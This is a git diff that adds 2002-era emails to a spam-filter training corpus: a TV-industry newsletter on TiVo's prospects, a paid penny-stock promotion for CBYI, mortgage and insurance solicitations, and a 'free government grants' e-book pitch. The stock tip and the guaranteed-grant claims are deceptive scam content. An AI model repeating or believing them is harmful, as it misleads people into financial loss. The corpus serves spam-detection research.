    +for the first time. Here you will find
    +hard-hitting commentary and analysis
    +on issues related to the future of television.
    +Whether it's Interactive TV, the battle between
    +the cable news networks, the latest in
    +the Emmy race, or the federal government's
    +fight to promote HDTV, TV Predictions will
    +give you the scoop -- before it actually
    +occurs. And, as long-time subscribers
    +will tell you, we pull no punches.
    +
    +(FYI -- TVPredictions.com, based in Los
    +Angeles, is owned and managed by Phillip Swann,
    +author of "TV dot Com: The Future of
    +Interactive Television." He has been
    +quoted as an expert on TV issues in publications
    +such as The Hollywood Reporter, Variety and
    +Electronic Media.)
    +
    +Now, in this issue, we offer an all-new edition of...
    +the Interactive TV Power Rankings! Plus: Why TiVo
    +desperately needs to boost its sub numbers during
    +the next five months. And, the latest news on
    +the future of TV.
    + +------------- +IN THIS ISSUE +------------- +Interactive TV Power Rankings! +TiVo: Now or Never? +Breaking News +Coming Attractions! + + + +||| =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>> + Be a Star! +||| =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>> +http://rs6.net/tn.jsp?t=tpysjsn6.e9iqjsn6.s8u5brn6&p=http%3A%2F%2Fwww.tvpredictions.com%2Fadvertising1.html +By advertising today in
    +TVPredictions'
    +weekly newsletter!
    +
    +Reach more than
    +3,000 subscribers,
    +including TV's top
    +decision-makers.
    +
    +Promoting an Event?
    +
    +Selling a New Service?
    +
    +Looking for Brand Awareness?
    +
    +Well..advertise already!!
    +
    +Past advertisers include:
    +
    +American Film Institute
    +The Carmel Group
    +ISeeTV
    +Iacta
    +Espial
    +
    +Learn how YOU can
    +reach our targeted
    +audience, by clicking below
    +or sending an e-mail to:
    +
    +advertising@
    +TVPredictions.com
    + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Interactive TV Power Rankings! +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +http://rs6.net/tn.jsp?t=tpysjsn6.e9iqjsn6.pqhvuqn6&p=http%3A%2F%2Fwww.TVPredictions.com%2Frankings.html +Every week, we publish the Interactive
    +TV Power Rankings. We rank the 10 companies
    +that are benefiting most from the deployment
    +of new TV technology.
    +
    +This week's highlights:
    +Will the FCC approve the Echostar-DIRECTV
    +merger?; why did Cox scale back its Video
    +on Demand plans?; why did Liberty Media buy
    +a cable company in the Netherlands?; and
    +who at NBC is smoking crack?
    +Find out in this all-new edition of...
    +The Interactive TV Power Rankings!
    + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +TiVo: Now or Never? +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +http://rs6.net/tn.jsp?t=tpysjsn6.e9iqjsn6.wxb5wqn6&p=http%3A%2F%2Fwww.tvpredictions.com%2Fpredictions.html +Ready for this?
    +
    +The next five months could determine whether
    +TiVo, the Personal Video Recorder service,
    +ultimately survives as a business.
    +
    +TiVo, which launched five years ago, has less
    +than 500,000 subscribers. The company's stock
    +dipped below three this week. And network execs
    +are openly questioning whether the digital recorder,
    +which permits skipping commercials with a few
    +clicks of the remote, will destroy their advertising
    +models. There even have been hints that the
    +networks could support a move by the cable
    +industry to offer a PVR that does not permit
    +commercial skipping. And that PVR would not
    +be a TiVo.
    +
    +To its credit, TiVo has been remarkably successful
    +at building brand loyalty and awareness. TiVo
    +reports that 97 percent of its subscribers have
    +recommended the service to a friend. And when
    +people talk about PVRs, they say TiVo. (Just
    +like the way people say "Coke" when they talk
    +about soft drinks. )
    +
    +But Wall Street, the media and the industry
    +are all growing impatient. TiVo needs to start
    +putting some big numbers on the board --
    +and it needs to do it this holiday season. If
    +it doesn't, stock analysts who have supported TiVo
    +until now will run for the hills. That will push
    +the company's stock price down even further. And
    +if that happens, TiVo could have just two choices:
    +Sell the company under duress or wait until its
    +funding dries up.
    +
    +Consequently, I predict that TiVo will launch
    +an intensive marketing blitz over the next
    +five months, right through the holiday season.
    +The blitz will include a sharp increase in
    +retail distribution, TV advertising and PR
    +efforts. The company needs to show Wall
    +Street -- and the industry -- that it will be
    +the brand leader in the PVR category. And it
    +needs to show that it can generate
    +mass consumer demand.
    +
    +How does TiVo demonstrate that?
    +
    +Anything short of 750,000 subs at year's end
    +will have people questioning whether TiVo has
    +the right stuff. Cable execs, who are watching
    +TiVo closely, might decide that adding the
    +service is not such a great selling point
    +after all. And Echostar, which currently does
    +not have an agreement with TiVo, may decide
    +to stay with its unbranded PVR service after
    +its merger with DIRECTV is approved in D.C.
    +(TiVo currently has a partnership with DIRECTV,
    +but it's unclear what will happen to the deal if
    +the merger is approved.)
    +
    +So there is much at stake -- and it's not extreme
    +to say that TiVo's ultimate future could be decided
    +in the next several months.
    +
    +Will it succeed? I predict that TiVo will achieve
    +a partial success. The company will boost its
    +subscriber numbers and it will maintain its claim
    +as the #1 PVR service. However, in time, I
    +also predict it will decide to sell the company
    +to a large media outfit, such as Sony or perhaps
    +even Liberty Media. This would give TiVo the
    +necessary funding and industry connections
    +for long-term growth and survival.
    +
    +To see more predictions on the future of TV,
    +click below!
    + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Breaking News +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +http://rs6.net/tn.jsp?t=tpysjsn6.e9iqjsn6.rqhvuqn6&p=http%3A%2F%2Fwww.tvpredictions.com +Did you know that...
    +
    +* Cox Cable has decided to slow down its
    +roll-out of Video on Demand?
    +
    +* Consumers have no idea what HDTV is
    +all about, according to a new study?
    +
    +* One top network exec says viewers may
    +soon have to pay for off-air, free TV?
    +
    +* According to the Associated Press,
    +the cable news networks may be spreading fear
    +in our culture?
    +
    +* Las Vegas says West Wing's Martin Sheen
    +is a shoo-in for a Best Actor Emmy?
    +
    +These are just some of the many stories now
    +available for reading at TVPredictions.com
    +You can also read our prediction on CNN and
    +Larry King, our expose of Forrester Research
    +and Josh Bernoff, and perhaps our most
    +provocative story, "Sex and the Interactive
    +TV."
    +
    +Click below to get the latest on the future of
    +TV!
    + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Coming Attractions! +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +http://rs6.net/tn.jsp?t=tpysjsn6.e9iqjsn6.rqhvuqn6&p=http%3A%2F%2Fwww.tvpredictions.com +The TVPredictions.com newsletter is published
    +every Friday. Coming in future issues:
    +
    +* Donahue: Will He Survive the Cable News War?
    +
    +* What's Wrong -- and Right -- With Interactive
    +TV?
    +
    +* Why HDTV Could Change Hollywood Forever
    +
    +* Who Will Win the Emmy? An Exclusive Forecast.
    +
    +And check in daily at TVPredictions.com for more
    +coverage of issues related to the future of TV.
    + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + + + +------------------------------------------------ +email: swann@TVPredictions.com +voice: 310-314-0603 +web: http://www.tvpredictions.com +------------------------------------------------ + +This email has been sent to at your +request, by TVPredictions.com. + +Visit our Subscription Center to edit your interests or unsubscribe. +http://ccprod.roving.com/roving/d.jsp?p=oo&m=995762919359&ea=fork@xent.com + +View our privacy policy: http://ccprod.roving.com/roving/CCPrivacyPolicy.jsp + +Powered by +Constant Contact(R) +www.constantcontact.com +------=_Part_1210763_-1358544416.1028690797657 +Content-Type: text/html; charset=iso-8859-1 +Content-Transfer-Encoding: quoted-printable + + + +=09Special Report! TiVo: Now or Never? + + +3D" + +

    + + +=09
    + + + +=20 +=20 + + +=09 + + +=09 + +
    TVPredictions.com Newsletter
    =A0=A0The #1 Newsletter on the Future of TV +=09August 7, 2002=A0=A0
    +

    + + +=09 +=09 + + +=09
    +=09 +=09=09 +=09=09 +=09=09=09 +=09=09 +=09=09
    +=09=09=09 +=09=09=09in this issue +=09=09=09 +=09=09=09
    +=09 +=09 +=09 +=09=09 +=09=09 +=09=09=09 +=09=09 +=09=09 +=09=09=09 +=09=09 +=09=09
    +=09=09=09 +=09=09=09
    Interactive TV Power Rankings! +=09=09=09

    TiVo: Now or Never? +=09=09=09

    Breaking News +=09=09=09

    Coming Attractions! +=09=09=09

    +=09=09

    +=09=09


    + + + +=09=09 +=09=09
    Be a Star!
    +=09=09 +=09=09
    +=09=09By advertising today in
    +TVPredictions'
    +weekly newsletter!
    +
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    +including TV's top
    +decision-makers.
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    +Well..advertise already!!
    +
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    +or sending an e-mail to:
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    Be a Star!= +

    +=09=09     + +=09    		 +=09 +=09=09 +=09=09 +=09=09=09 +=09=09=09 +=09=09 +=09=09 +=09=09=09 +=09=09 +=09=09 +=09=09=09 +=09=09 +=09=09 +=09=09=09 +=09=09 +=09=09
    =A0=A0 + + Hi Everyone, +=09=09=09
    First of all, I want to welcome those
    +subscribers who are getting this newsletter
    +for the first time. Here you will find
    +hard-hitting commentary and analysis
    +on issues related to the future of television.
    +Whether it's Interactive TV, the battle between
    +the cable news networks, the latest in
    +the Emmy race, or the federal government's
    +fight to promote HDTV, TV Predictions will
    +give you the scoop -- before it actually
    +occurs. And, as long-time subscribers
    +will tell you, we pull no punches.
    +
    +(FYI -- TVPredictions.com, based in Los
    +Angeles, is owned and managed by Phillip Swann,
    +author of "TV dot Com: The Future of
    +Interactive Television." He has been
    +quoted as an expert on TV issues in publications
    +such as The Hollywood Reporter, Variety and
    +Electronic Media.)
    +
    +Now, in this issue, we offer an all-new edition of...
    +the Interactive TV Power Rankings! Plus: Why TiVo
    +desperately needs to boost its sub numbers during
    +the next five months. And, the latest news on
    +the future of TV.
    +=09=09=09

     +=09=09=09
    +=09 +=09 +=09 +=09=09 + = + =20 + =20 +=09=09 =20 +=09=09 =20 + =20 +=20 +=20 +
  • Interactive TV Power Rankings!
    • =A0=A0Every week,= + we publish the Interactive
    +TV Power Rankings. We rank the 10 companies
    +that are benefiting most from the deployment
    +of new TV technology.
    +
    +This week's highlights:
    +Will the FCC approve the Echostar-DIRECTV
    +merger?; why did Cox scale back its Video
    +on Demand plans?; why did Liberty Media buy
    +a cable company in the Netherlands?; and
    +who at NBC is smoking crack?
    +Find out in this all-new edition of...
    +The Interactive TV Power Rankings!

    Interactive TV Power Rankings!

  • TiVo: Now or Never?
    • =A0=A0Ready for this?
    +
    +The next five months could determine whether
    =20 +TiVo, the Personal Video Recorder service,
    +ultimately survives as a business.
    +
    +TiVo, which launched five years ago, has less
    +than 500,000 subscribers. The company's stock
    +dipped below three this week. And network execs
    +are openly questioning whether the digital recorder,
    +which permits skipping commercials with a few
    +clicks of the remote, will destroy their advertising
    +models. There even have been hints that the
    +networks could support a move by the cable
    +industry to offer a PVR that does not permit
    +commercial skipping. And that PVR would not
    +be a TiVo.
    +
    +To its credit, TiVo has been remarkably successful
    +at building brand loyalty and awareness. TiVo
    +reports that 97 percent of its subscribers have
    +recommended the service to a friend. And when
    +people talk about PVRs, they say TiVo. (Just
    +like the way people say "Coke" when they talk
    +about soft drinks. )
    +
    +But Wall Street, the media and the industry
    +are all growing impatient. TiVo needs to start
    +putting some big numbers on the board --
    +and it needs to do it this holiday season. If
    +it doesn't, stock analysts who have supported TiVo
    +until now will run for the hills. That will push
    +the company's stock price down even further. And
    +if that happens, TiVo could have just two choices:
    +Sell the company under duress or wait until its
    +funding dries up.
    +
    +Consequently, I predict that TiVo will launch
    +an intensive marketing blitz over the next
    +five months, right through the holiday season.
    +The blitz will include a sharp increase in
    +retail distribution, TV advertising and PR
    +efforts. The company needs to show Wall
    +Street -- and the industry -- that it will be
    +the brand leader in the PVR category. And it
    +needs to show that it can generate
    +mass consumer demand.
    +
    +How does TiVo demonstrate that?
    +
    +Anything short of 750,000 subs at year's end
    +will have people questioning whether TiVo has
    +the right stuff. Cable execs, who are watching
    +TiVo closely, might decide that adding the
    +service is not such a great selling point
    +after all. And Echostar, which currently does
    +not have an agreement with TiVo, may decide
    +to stay with its unbranded PVR service after
    +its merger with DIRECTV is approved in D.C.
    +(TiVo currently has a partnership with DIRECTV,
    +but it's unclear what will happen to the deal if
    +the merger is approved.)
    +
    +So there is much at stake -- and it's not extreme
    +to say that TiVo's ultimate future could be decided
    +in the next several months.
    +
    +Will it succeed? I predict that TiVo will achieve
    +a partial success. The company will boost its
    +subscriber numbers and it will maintain its claim
    +as the #1 PVR service. However, in time, I
    +also predict it will decide to sell the company
    +to a large media outfit, such as Sony or perhaps
    +even Liberty Media. This would give TiVo the
    +necessary funding and industry connections
    +for long-term growth and survival.
    +
    +To see more predictions on the future of TV,
    +click below!

    TiV= +o: Now or Never?

  • Breaking News
    • =A0=A0Did you know that...
    +
    +* Cox Cable has decided to slow down its
    +roll-out of Video on Demand?
    +
    +* Consumers have no idea what HDTV is
    +all about, according to a new study?
    +
    +* One top network exec says viewers may
    +soon have to pay for off-air, free TV?
    +
    +* According to the Associated Press,
    +the cable news networks may be spreading fear
    +in our culture?
    +
    +* Las Vegas says West Wing's Martin Sheen
    +is a shoo-in for a Best Actor Emmy?
    +
    +These are just some of the many stories now
    +available for reading at TVPredictions.com
    +You can also read our prediction on CNN and
    +Larry King, our expose of Forrester Research
    +and Josh Bernoff, and perhaps our most
    +provocative story, "Sex and the Interactive
    +TV."
    +
    +Click below to get the latest on the future of
    +TV!

    Breaking News

  • Coming Attractions!
    • =A0=A0The TVPredictions.com newsle= +tter is published
    +every Friday. Coming in future issues:
    +
    +* Donahue: Will He Survive the Cable News War?
    +
    +* What's Wrong -- and Right -- With Interactive
    +TV?
    +
    +* Why HDTV Could Change Hollywood Forever
    +
    +* Who Will Win the Emmy? An Exclusive Forecast.
    +
    +And check in daily at TVPredictions.com for more
    +coverage of issues related to the future of TV.

    Coming Attractions!

    +=09 +=09 +=09
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    + + [^(PO1:KJ)_8J7BJK9^":}H&*TG0BK5NKIYs5] + + + diff --git a/bayes/spamham/spam_2/01336.cce700d418ddce6f5081cdcda625074f b/bayes/spamham/spam_2/01336.cce700d418ddce6f5081cdcda625074f new file mode 100644 index 0000000..1cedfdc --- /dev/null +++ b/bayes/spamham/spam_2/01336.cce700d418ddce6f5081cdcda625074f @@ -0,0 +1,141 @@ +From mavin12hop@vega.co.il Wed Aug 7 17:39:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C0028440A8 + for ; Wed, 7 Aug 2002 12:38:59 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 17:38:59 +0100 (IST) +Received: from ibsen.softinn.com ([204.244.24.170]) + by webnote.net (8.9.3/8.9.3) with ESMTP id RAA25273; + Wed, 7 Aug 2002 17:35:44 +0100 +Date: Wed, 7 Aug 2002 17:35:44 +0100 +Message-Id: <200208071635.RAA25273@webnote.net> +Received: from mail.vega.co.il (firewall.softinn.com [10.40.1.10]) by ibsen.softinn.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) + id QNBVFLCD; Wed, 7 Aug 2002 11:51:18 -0400 +Reply-To: +From: "Cheryl" +To: "Inbox" <9307@fr.uu.net> +Subject: <><><> TOMORROWS WINNERS TODAY <><><> +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + +
    + +OTC
    = + + + Newsletter
    +Discover Tomorrow's Winners 
    + +For Immediate Release
    +

    +Cal-Bay (Stock Symbol: CBYI) +
    Watch for analyst =22Strong Buy Recommendations=22 and several adviso= +ry newsletters picking CBYI. CBYI has filed to be traded on the OTCBB, = +share prices historically INCREASE when companies get listed on this lar= +ger trading exchange. CBYI is trading around 25 cents and should skyrock= +et to =242.66 - =243.25 a share in the near future.
    +Put CBYI on your watch list, acquire a position TODAY.

    +

    +REASONS TO INVEST IN CBYI +

  • = + +A profitable company and is on track to beat ALL earnings estimates=21 +
  • = + +One of the FASTEST growing distributors in environmental & safety e= +quipment instruments. +
  • +Excellent management team, several EXCLUSIVE contracts. IMPRESSIVE cli= +ent list including the U.S. Air Force, Anheuser-Busch, Chevron Refining = +and Mitsubishi Heavy Industries, GE-Energy & Environmental Research.= + +

    +RAPIDLY GROWING INDUSTRY +
    Industry revenues exceed =24900 million, estimates indicate that the= +re could be as much as =2425 billion from =22smell technology=22 by the end= + of 2003.

    +

    +=21=21=21=21=21CONGRATULATIONS=21=21=21=21=21
    Our last recommendation t= +o buy ORBT at =241.29 rallied and is holding steady at =243.50=21 Congratul= +ations to all our subscribers that took advantage of this recommendation= +.









    +

    +ALL removes HONORED. Please allow 7 days to be removed and send ALL add= +resses to: + +GoneForGood=40btamail.ne= +t.cn +

    •  
    + +Certain statements contained in this news release may be forward-lookin= +g statements within the meaning of The Private Securities Litigation Ref= +orm Act of 1995. These statements may be identified by such terms as =22e= +xpect=22, =22believe=22, =22may=22, =22will=22, and =22intend=22 or similar terms= +. We are NOT a registered investment advisor or a broker dealer. This is= + NOT an offer to buy or sell securities. No recommendation that the secu= +rities of the companies profiled should be purchased, sold or held by in= +dividuals or entities that learn of the profiled companies. We were paid= + =2427,000 in cash by a third party to publish this report. Investing in = +companies profiled is high-risk and use of this information is for readi= +ng purposes only. If anyone decides to act as an investor, then it will = +be that investor's sole risk. Investors are advised NOT to invest withou= +t the proper advisement from an attorney or a registered financial broke= +r. Do not rely solely on the information presented, do additional indepe= +ndent research to form your own opinion and decision regarding investing= + in the profiled companies. Be advised that the purchase of such high-ri= +sk securities may result in the loss of your entire investment. Not int= +ended for recipients or residents of CA,CO,CT,DE,ID, IL,IA,LA,MO,NV,NC,O= +K,OH,PA,RI,TN,VA,WA,WV,WI. Void where prohibited. The owners of this pu= +blication may already own free trading shares in CBYI and may immediatel= +y sell all or a portion of these shares into the open market at or about= + the time this report is published. Factual statements are made as of t= +he date stated and are subject to change without notice. +
    Copyright c 2001
    +≡
    		 + +OTC
    +≡
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    + diff --git a/bayes/spamham/spam_2/01344.43dbbbac0d006790dd696123d455f5b9 b/bayes/spamham/spam_2/01344.43dbbbac0d006790dd696123d455f5b9 new file mode 100644 index 0000000..e3b52e6 --- /dev/null +++ b/bayes/spamham/spam_2/01344.43dbbbac0d006790dd696123d455f5b9 @@ -0,0 +1,48 @@ +From alancrooks@mark9.hostserve21.com Thu Aug 8 11:15:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6CE87440EA + for ; Thu, 8 Aug 2002 06:14:27 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 11:14:27 +0100 (IST) +Received: from ex1.hostserve21.com ([64.25.35.100]) + by webnote.net (8.9.3/8.9.3) with ESMTP id DAA27017 + for ; Thu, 8 Aug 2002 03:20:34 +0100 +From: alancrooks@mark9.hostserve21.com +Date: Wed, 7 Aug 2002 19:23:46 -0400 +Message-Id: <200208072323.g77NNjB27587@ex1.hostserve21.com> +X-Mailer: Trade-Navigator 4.0 [CN] +Reply-To: +To: +Subject: Mortgage Rates Are Down. teoqknmp + +When America's top companies compete for your business, you win. + +http://quotes.routeit21.com/sure_quote/ + +Take a moment to let us show you that we are here to save you money and address your concerns with absolutely no hassle, no obligation, no cost quotes, on all your needs, from America's top companies. + + +-Mortgage rates that save you thousands. +-New home loans. +-Refinance or consolidate high interest credit card debt into a low interest mortgage. + + +http://quotes.routeit21.com/sure_quote/ + + +"...was able to get 3 great offers in +less than 24 hours." -Jennifer C + +"Met all my needs... being able to search +for loans in a way that puts me in control." -Robert T. + +"..it was easy, effortless...!"-Susan A. + + + +Click here to delete your address from future updates. +http://quotes.routeit21.com/sure_quote/rm/ + diff --git a/bayes/spamham/spam_2/01345.436954c32bbf82773e33853ac26ef881 b/bayes/spamham/spam_2/01345.436954c32bbf82773e33853ac26ef881 new file mode 100644 index 0000000..53252cb --- /dev/null +++ b/bayes/spamham/spam_2/01345.436954c32bbf82773e33853ac26ef881 @@ -0,0 +1,288 @@ +From indylife@insurancemail.net Thu Aug 8 14:36:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 879CC441F2 + for ; Thu, 8 Aug 2002 08:39:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:39:49 +0100 (IST) +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g77Noqk27919 for ; Thu, 8 Aug 2002 00:50:53 + +0100 +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Wed, 7 Aug 2002 19:49:55 -0400 +Subject: The Elite Equity Indexed U.L. Policy +To: +Date: Wed, 7 Aug 2002 19:49:55 -0400 +From: "IQ - Indianapolis Life" +Message-Id: <2e06601c23e6d$216faf00$6b01a8c0@insuranceiq.com> +X-Mailer: Microsoft CDO for Windows 2000 +MIME-Version: 1.0 +Thread-Index: AcI+Tcsz3dQR3wqeQzSoaQD/AgwPRQ== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 07 Aug 2002 23:49:55.0515 (UTC) FILETIME=[218EA8B0:01C23E6D] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_0007_01C23E2C.44242DA0" + +This is a multi-part message in MIME format. + +------=_NextPart_000_0007_01C23E2C.44242DA0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + Vista Elite - The Equity Indexed UL Policy + + with 100% Participation for the Life of the Contract! + Interest Crediting Strategies + + +Basic Interest Strategy +Five-Year Fixed-Term Interest Strategy +Five-Year Equity Indexed Strategy +Interest Crediting Strategy Linked to the S&P 500* +5 & 15 Year No Lapse Guarantee** + +High Commissionable Targets +Designed for Cash Accumulation +100% participation rate guaranteed for the life of the contract! + +For more information, call or e-mail + us today! + 800-831-4380 +? or ? + +Please fill out the form below for more information +Name: +E-mail: +Phone: +City: State: + + + + Indianapolis Life - an Amerus Company + + +*"Standard & Poor's", "S&P", "S&P 500" and "Standard and Poor's 500" are +trademarks of The McGraw-Hill Companies, Inc. and have been licensed for +use by Indianapolis Life Insurance Company. Indianapolis Life's EIL +products are not sponsored, endorsed, sold or promoted by Standard & +Poor's, and Standard & Poor's makes no representation regarding the +advisability of purchasing these products. **May not be available in all +states. For Broker Use Only. Not For Use With General Public. +CNIL0140-0702 + +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net + +Legal Notice + +------=_NextPart_000_0007_01C23E2C.44242DA0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +The Elite Equity Indexed U.L. Policy + + + + + + =20 + + + =20 + + + =20 + + +

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    + 100% participation rate guaranteed for the life of the = +contract! +
     
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    +    =20 + + + +------=_NextPart_000_0007_01C23E2C.44242DA0-- + + diff --git a/bayes/spamham/spam_2/01346.fb942e99ad6211fe374675bc9ac639d5 b/bayes/spamham/spam_2/01346.fb942e99ad6211fe374675bc9ac639d5 new file mode 100644 index 0000000..5005e26 --- /dev/null +++ b/bayes/spamham/spam_2/01346.fb942e99ad6211fe374675bc9ac639d5 @@ -0,0 +1,551 @@ +From fhogan@bigfoot.com Wed Aug 7 09:15:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8C48E440C8 + for ; Wed, 7 Aug 2002 04:15:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 09:15:25 +0100 (IST) +Received: from bigfoot.com ([212.160.153.96]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g778BPk16863 for ; + Wed, 7 Aug 2002 09:11:25 +0100 +Reply-To: +Message-Id: <031a71a07d1c$2642e6c2$4cb43cc2@aethlr> +From: +To: +Subject: The Government Grants you $25,000! +Date: Wed, 07 Aug 2002 16:01:49 -0800 +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2615.200 +Importance: Normal +Content-Type: text/html; charset="iso-8859-1" + + + + +
    +

    +  +Free Personal and Business Grants

    + +

      +

    + + + +
    +
    +

    +" Qualify for at least $25,000 in free +grants money - Guaranteed! "

    +
    + +
    +

    +Each day over One Million Dollars in Free +Government
    +Grants  is given away to people just like you for a wide
    +variety of Business And Personal Needs

    +        +Dear Grant Seeker, +
    In a moment, I'll tell you +exactly HOW & WHERE to get Grants. This MONEY has to +be given away, WHY not to YOU?
    + +
    You may be thinking, "How +can I get some of this Free Grants Money"
    + +
    Maybe you think it's impossible +to get free money?
    + +
    Let me tell you it's not +impossible! It's a fact, ordinary people and businesses all across the +United States are receiving millions of dollars from these Government and +Private Foundation's everyday.
    + +
    Who Can Apply?
    + +
    ANYONE can apply +for a Grant from 18 years old and up!
    + +
    Grants from $500.00 to $50,000.00 +are possible! GRANTS don't have to be paid back, +EVER! Claim +your slice of the FREE American Pie.
    + +
    This money is not a loan, +Trying to get money through a conventional bank can be very time consuming +and requires a lot of paperwork, only to find out that you've been denied. +These Government Agencies don't have to operate under the same stringent +requirements that banks do.
    + +
    You decide how much money +you need, as long as it's a lawful amount and meets with the Government +Agencies criteria, the money is yours to keep and never has to be repaid. +This money is non taxable & interest free.
    + +
    None of these programs require +a credit check, collateral, security deposits or co-signers, you can apply +even if you have a bankruptcy or bad credit, it doesn't matter, you as +a tax payer and U.S. citizen are entitled to this money.
    + +
    There are currently over +1,400 Federal Programs, 24,000 State Programs, 30,000 Private Foundations +and 20,000 Scholarship Programs available.
    + +
    This year over $30 Billion +Dollars In Free personal and business Government Grants Money will be given +away by Government Grants Agencies.
    + + +
      +
    + + + +
    +
    +

    +Government Personal +and Business Grants Facts:

    +Over 20 Million People Get Government +Money Every Year: +
      1,000,000 entrepreneurs get money +to start or expand a business +

      4,000,000 people get money to invest +in real estate +

      6,000,000 people get money to go +to college +

      10,000,000 people get free help and +training for a better job

    +
    + +

    +Getting Business +Grants

    + +
    Anyone thinking about going +into business for themselves, or wanting to expand an existing business +should rush for the world's largest "one-stop-money-shop" where FREE business +grants to start or expand a business is being held for you by the Federal +Government.
    + +
    It +sounds absolutely incredible that people living right here in the United +States of America wouldn't know that each year the world's largest source +of free business help delivers:
    + +
      Over $30 billion dollars in free +business grants and low-interest loans; +

      over one-half trillion dollars in +procurement contracts; and +

      over $32 billion dollars in FREE +consulting and research grants.

    + +
    With an economy that remains +unpredictable, and a need for even greater economic development on all +fronts, the federal government is more willing than it ever has been before +to give you the money you need to own your own business and become your +own boss!
    + +
    In +spite of the perception that people should not look to the government for +help, the great government give-away programs have remained so incredibly +huge that if each of the approximately 8 million businesses applied for +an equal share, they would each receive over $70,000.
    + +
    Most +people never apply for FREE Business Grants because they somehow feel it +isn't for them, feel there's too much red-tape, or simply don't know who +to contact.The fact is, however, that people from all walks of life do +receive FREE GRANTS MONEY and other benefits from the government, and you +should also.
    + +

    +Government Grants +for Personal Need

    + +
    Help to buy a new home for +low income families, repair your home, rent, mortgage payments, utility +bills, purchase a new car, groceries, childcare, fuel, general living expenses, +academic tutoring, clothing, school supplies, housing assistance, legal +services, summer camp, debts, music lessons, art lessons, any extracurricular +activities, pay bills for senior citizens, real estate taxes, medical expenses +and general welfare. If you or someone you know suffered a fire lose there +are programs available to help in replacing necessities.
    + +

    +Scholarships And +Grants For Education

    + +
    Grant Money for preschool +children and nursery school education, private, primary and secondary schools, +men and women to further their education, scholarships for athlete's, business +management, engineering, computer science, medical school, undergraduate, +graduate, professional, foreign studies and many more.
    + +

    +Here's How You +Can Get Free Grants
    +In The Shortest Time Possible

    + +
    Once you know how and where +to apply for a specific Free Grant, results are almost inevitable. The +government wants to give away this money. . . it is under congressional +mandate to do so! These funds are made available to help you, the tax payer. +All that's required from you is the proper presentation of your grant request. +That's all.
    +Announcing... +
    +

    +"The Complete +Guide To Government Grants"

    + +
    Forget just about everything +you've seen or heard about government grants. What I've done is put together +a complete blueprint for researching, locating and obtaining government +grants. "The Complete Guide To Government Grants" is the most comprehensive +tool for obtaining free grant money, and it comes in an Electronic book +
    (e-book) format, meaning you can +download and start using it minutes after you order.
    + +
    The +Complete Guide to Government Grants will provide you with access to thousands +of grant and loan sources, with step by step instructions to proposal writing +and contact procedures.
    +In the Complete Guide to Government +Grants you'll find: +
    Step by step guidelines +to applying for government grants
    + +
    Direct access to over 1,400 +grant, loan and assistance programs offered by the U.S. federal government. +All you need to do is Click & Find your program from the detailed categorized +listings
    + +
    Direct access to thousands +of resources of state specific grant programs
    + +
    Name, phone number and address +of an expert in your state that will answer your grant related questions +and help you with the grant application... free of charge
    + +
    Online directory of government +supported venture capital firms
    + +
    A unique search tool that +will allow you to generate a customized listing of recently announced grant +programs
    + +
    Government funding programs +for small businesses
    + +
    Top 100 government programs +(based on number of inquiries), discover what are the most sought after +government grants and assistant programs. Claim your slice of the FREE +American Pie
    + +
    Online Directory of federal +and state resources for government scholarships and grants for education
    + +
    Step by step guidelines +to locating grants, loans and assistant programs for starting a new business +or expanding an existing one
    + +
    How to get free small business +counseling and expert advice courtesy of the US government
    + +
    Government grants application +forms
    + +
